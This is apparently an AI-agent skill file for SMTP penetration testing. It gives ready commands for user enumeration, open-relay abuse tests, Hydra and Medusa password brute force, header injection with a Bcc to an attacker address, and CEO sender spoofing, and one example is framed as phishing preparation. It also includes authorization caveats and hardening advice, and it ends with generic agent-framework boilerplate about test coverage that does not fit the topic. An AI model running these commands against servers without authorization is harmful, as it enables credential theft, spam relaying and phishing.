--- name: smtp-penetration-testing-ef91d89f02b3 description: "This skill should be used when the user asks to \"perform SMTP penetration testing\", \"enumerate email users\", \"test for open mail relays\", \"grab SMTP banners\", \"brute force email cre..." risk: unknown source: community author: zebbern date_added: "2026-02-27" --- # SMTP Penetration Testing ## Purpose Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations. ## Prerequisites ### Required Tools ```bash # Nmap with SMTP scripts sudo apt-get install nmap # Netcat sudo apt-get install netcat # Hydra for brute force sudo apt-get install hydra # SMTP user enumeration tool sudo apt-get install smtp-user-enum # Metasploit Framework msfconsole ``` ### Required Knowledge - SMTP protocol fundamentals - Email architecture (MTA, MDA, MUA) - DNS and MX records - Network protocols ### Required Access - Target SMTP server IP/hostname - Written authorization for testing - Wordlists for enumeration and brute force ## Outputs and Deliverables 1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings 2. **User Enumeration Results** - Valid email addresses discovered 3. **Relay Test Results** - Open relay status and exploitation potential 4. **Remediation Recommendations** - Security hardening guidance ## Core Workflow ### Phase 1: SMTP Architecture Understanding ``` Components: MTA (transfer) → MDA (delivery) → MUA (client) Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative) Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA ``` ### Phase 2: SMTP Service Discovery Identify SMTP servers and versions: ```bash # Discover SMTP ports nmap -p 25,465,587,2525 -sV TARGET_IP # Aggressive service detection nmap -sV -sC -p 25 TARGET_IP # SMTP-specific scripts nmap --script=smtp-* -p 25 TARGET_IP # Discover MX records for domain dig MX target.com nslookup -type=mx target.com host -t mx target.com ``` ### Phase 3: Banner Grabbing Retrieve SMTP server information: ```bash # Using Telnet telnet TARGET_IP 25 # Response: 220 mail.target.com ESMTP Postfix # Using Netcat nc TARGET_IP 25 # Response: 220 mail.target.com ESMTP # Using Nmap nmap -sV -p 25 TARGET_IP # Version detection extracts banner info # Manual SMTP commands EHLO test # Response reveals supported extensions ``` Parse banner information: ``` Banner reveals: - Server software (Postfix, Sendmail, Exchange) - Version information - Hostname - Supported SMTP extensions (STARTTLS, AUTH, etc.) ``` ### Phase 4: SMTP Command Enumeration Test available SMTP commands: ```bash # Connect and test commands nc TARGET_IP 25 # Initial greeting EHLO attacker.com # Response shows capabilities: 250-mail.target.com 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-8BITMIME 250 DSN ``` Key commands to test: ```bash # VRFY - Verify user exists VRFY admin 250 2.1.5 admin@target.com # EXPN - Expand mailing list EXPN staff 250 2.1.5 user1@target.com 250 2.1.5 user2@target.com # RCPT TO - Recipient verification MAIL FROM: RCPT TO: # 250 OK = user exists # 550 = user doesn't exist ``` ### Phase 5: User Enumeration Enumerate valid email addresses: ```bash # Using smtp-user-enum with VRFY smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP # Using EXPN method smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP # Using RCPT method smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP # Specify port and domain smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com ``` Using Metasploit: ```bash use auxiliary/scanner/smtp/smtp_enum set RHOSTS TARGET_IP set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt set UNIXONLY true run ``` Using Nmap: ```bash # SMTP user enumeration script nmap --script smtp-enum-users -p 25 TARGET_IP # With custom user list nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP ``` ### Phase 6: Open Relay Testing Test for unauthorized email relay: ```bash # Using Nmap nmap -p 25 --script smtp-open-relay TARGET_IP # Manual testing via Telnet telnet TARGET_IP 25 HELO attacker.com MAIL FROM: RCPT TO: DATA Subject: Relay Test This is a test. . QUIT # If accepted (250 OK), server is open relay ``` Using Metasploit: ```bash use auxiliary/scanner/smtp/smtp_relay set RHOSTS TARGET_IP run ``` Test variations: ```bash # Test different sender/recipient combinations MAIL FROM:<> MAIL FROM: MAIL FROM: RCPT TO: RCPT TO:<"test@external.com"> RCPT TO: ``` ### Phase 7: Brute Force Authentication Test for weak SMTP credentials: ```bash # Using Hydra hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP # With specific port and SSL hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp # Multiple users hydra -L users.txt -P passwords.txt TARGET_IP smtp # Verbose output hydra -l admin -P passwords.txt smtp://TARGET_IP -V ``` Using Medusa: ```bash medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp ``` Using Metasploit: ```bash use auxiliary/scanner/smtp/smtp_login set RHOSTS TARGET_IP set USER_FILE /path/to/users.txt set PASS_FILE /path/to/passwords.txt set VERBOSE true run ``` ### Phase 8: SMTP Command Injection Test for command injection vulnerabilities: ```bash # Header injection test MAIL FROM: RCPT TO: DATA Subject: Test Bcc: hidden@attacker.com X-Injected: malicious-header Injected content . ``` Email spoofing test: ```bash # Spoofed sender (tests SPF/DKIM protection) MAIL FROM: RCPT TO: DATA From: CEO Subject: Urgent Request Please process this request immediately. . ``` ### Phase 9: TLS/SSL Security Testing Test encryption configuration: ```bash # STARTTLS support check openssl s_client -connect TARGET_IP:25 -starttls smtp # Direct SSL (port 465) openssl s_client -connect TARGET_IP:465 # Cipher enumeration nmap --script ssl-enum-ciphers -p 25 TARGET_IP ``` ### Phase 10: SPF, DKIM, DMARC Analysis Check email authentication records: ```bash # SPF/DKIM/DMARC record lookups dig TXT target.com | grep spf # SPF dig TXT selector._domainkey.target.com # DKIM dig TXT _dmarc.target.com # DMARC # SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral ``` ## Quick Reference ### Essential SMTP Commands | Command | Purpose | Example | |---------|---------|---------| | HELO | Identify client | `HELO client.com` | | EHLO | Extended HELO | `EHLO client.com` | | MAIL FROM | Set sender | `MAIL FROM:` | | RCPT TO | Set recipient | `RCPT TO:` | | DATA | Start message body | `DATA` | | VRFY | Verify user | `VRFY admin` | | EXPN | Expand alias | `EXPN staff` | | QUIT | End session | `QUIT` | ### SMTP Response Codes | Code | Meaning | |------|---------| | 220 | Service ready | | 221 | Closing connection | | 250 | OK / Requested action completed | | 354 | Start mail input | | 421 | Service not available | | 450 | Mailbox unavailable | | 550 | User unknown / Mailbox not found | | 553 | Mailbox name not allowed | ### Enumeration Tool Commands | Tool | Command | |------|---------| | smtp-user-enum | `smtp-user-enum -M VRFY -U users.txt -t IP` | | Nmap | `nmap --script smtp-enum-users -p 25 IP` | | Metasploit | `use auxiliary/scanner/smtp/smtp_enum` | | Netcat | `nc IP 25` then manual commands | ### Common Vulnerabilities | Vulnerability | Risk | Test Method | |--------------|------|-------------| | Open Relay | High | Relay test with external recipient | | User Enumeration | Medium | VRFY/EXPN/RCPT commands | | Banner Disclosure | Low | Banner grabbing | | Weak Auth | High | Brute force attack | | No TLS | Medium | STARTTLS test | | Missing SPF/DKIM | Medium | DNS record lookup | ## Constraints and Limitations ### Legal Requirements - Only test SMTP servers you own or have authorization to test - Sending spam or malicious emails is illegal - Document all testing activities - Do not abuse discovered open relays ### Technical Limitations - VRFY/EXPN often disabled on modern servers - Rate limiting may slow enumeration - Some servers respond identically for valid/invalid users - Greylisting may delay enumeration responses ### Ethical Boundaries - Never send actual spam through discovered relays - Do not harvest email addresses for malicious use - Report open relays to server administrators - Use findings only for authorized security improvement ## Examples ### Example 1: Complete SMTP Assessment **Scenario:** Full security assessment of mail server ```bash # Step 1: Service discovery nmap -sV -sC -p 25,465,587 mail.target.com # Step 2: Banner grab nc mail.target.com 25 EHLO test.com QUIT # Step 3: User enumeration smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com # Step 4: Open relay test nmap -p 25 --script smtp-open-relay mail.target.com # Step 5: Authentication test hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com # Step 6: TLS check openssl s_client -connect mail.target.com:25 -starttls smtp # Step 7: Check email authentication dig TXT target.com | grep spf dig TXT _dmarc.target.com ``` ### Example 2: User Enumeration Attack **Scenario:** Enumerate valid users for phishing preparation ```bash # Method 1: VRFY smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25 # Method 2: RCPT with timing analysis smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com # Method 3: Metasploit msfconsole use auxiliary/scanner/smtp/smtp_enum set RHOSTS 192.168.1.100 set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt run # Results show valid users [+] 192.168.1.100:25 - Found user: admin [+] 192.168.1.100:25 - Found user: root [+] 192.168.1.100:25 - Found user: postmaster ``` ### Example 3: Open Relay Exploitation **Scenario:** Test and document open relay vulnerability ```bash # Test via Telnet telnet mail.target.com 25 HELO attacker.com MAIL FROM: RCPT TO: # If 250 OK - VULNERABLE # Document with Nmap nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com # Output: # PORT STATE SERVICE # 25/tcp open smtp # |_smtp-open-relay: Server is an open relay (14/16 tests) ``` ## Troubleshooting | Issue | Cause | Solution | |-------|-------|----------| | Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587/465; use VPN | | VRFY/EXPN Disabled | Server hardened | Use RCPT TO method; analyze response time/code variations | | Brute Force Blocked | Rate limiting/lockout | Slow down (`hydra -W 5`); use password spraying; check for fail2ban | | SSL/TLS Errors | Wrong port or protocol | Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response | ## Security Recommendations ### For Administrators 1. **Disable Open Relay** - Require authentication for external delivery 2. **Disable VRFY/EXPN** - Prevent user enumeration 3. **Enforce TLS** - Require STARTTLS for all connections 4. **Implement SPF/DKIM/DMARC** - Prevent email spoofing 5. **Rate Limiting** - Prevent brute force attacks 6. **Account Lockout** - Lock accounts after failed attempts 7. **Banner Hardening** - Minimize server information disclosure 8. **Log Monitoring** - Alert on suspicious activity 9. **Patch Management** - Keep SMTP software updated 10. **Access Controls** - Restrict SMTP to authorized IPs ## When to Use This skill is applicable to execute the workflow or actions described in the overview. --- ## AGI Framework Integration > **Adapted for [@techwavedev/agi-agent-kit](https://www.npmjs.com/package/@techwavedev/agi-agent-kit)** > Original source: [antigravity-awesome-skills](https://github.com/sickn33/antigravity-awesome-skills) ### Memory-First Protocol Retrieve prior test strategies, known flaky tests, and coverage gaps. Cache test infrastructure setup to avoid re-configuring test environments. ```bash # Check for prior testing/QA context before starting python3 execution/memory_manager.py auto --query "test patterns and coverage strategies for Smtp Penetration Testing" ``` ### Storing Results After completing work, store testing/QA decisions for future sessions: ```bash python3 execution/memory_manager.py store \ --content "Testing strategy: integration tests hit real DB (no mocks), 85% line coverage, mutation testing on critical paths" \ --type technical --project \ --tags smtp-penetration-testing testing ``` ### Multi-Agent Collaboration Share test results and coverage reports with code review agents so they can verify adequate coverage on changed code. ```bash python3 execution/cross_agent_context.py store \ --agent "" \ --action "QA complete — test suite expanded with 12 new integration tests, all passing" \ --project ``` ### TDD Enforcement This skill integrates with the framework's iron-law RED-GREEN-REFACTOR cycle. No production code without a failing test first. ### Agent Team: QA Dispatch `qa_team` to generate tests and verify they pass before marking implementation complete. --- Source attribution: techwavedev Original project: https://github.com/techwavedev/agi-agent-kit/blob/58f5d95434a1adc8b41a4f391d32d95311e54936/templates/skills/extended/testing/smtp-penetration-testing/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Mega AI Hub. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to the Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright 2024-2026 Elton Machado (TechWaveDev) Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. # Mega AI Hub resource metadata Creator / publisher: techwavedev Original project: https://github.com/techwavedev/agi-agent-kit/blob/58f5d95434a1adc8b41a4f391d32d95311e54936/templates/skills/extended/testing/smtp-penetration-testing/SKILL.md Attribution basis: Source repository record Fields of work: Data & Analytics, Development & Engineering, Customer Support Roles: Data Analyst, Security Engineer, Technical Support Specialties: API, Backend, Word Documents, Frontend, Git, Testing Tools: Hydra, Metasploit, Netcat, Nmap, Smtp User Enum Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: 1c9e34d162e673274c89520fcf1772c60427298259cb8f382e139f127e068beb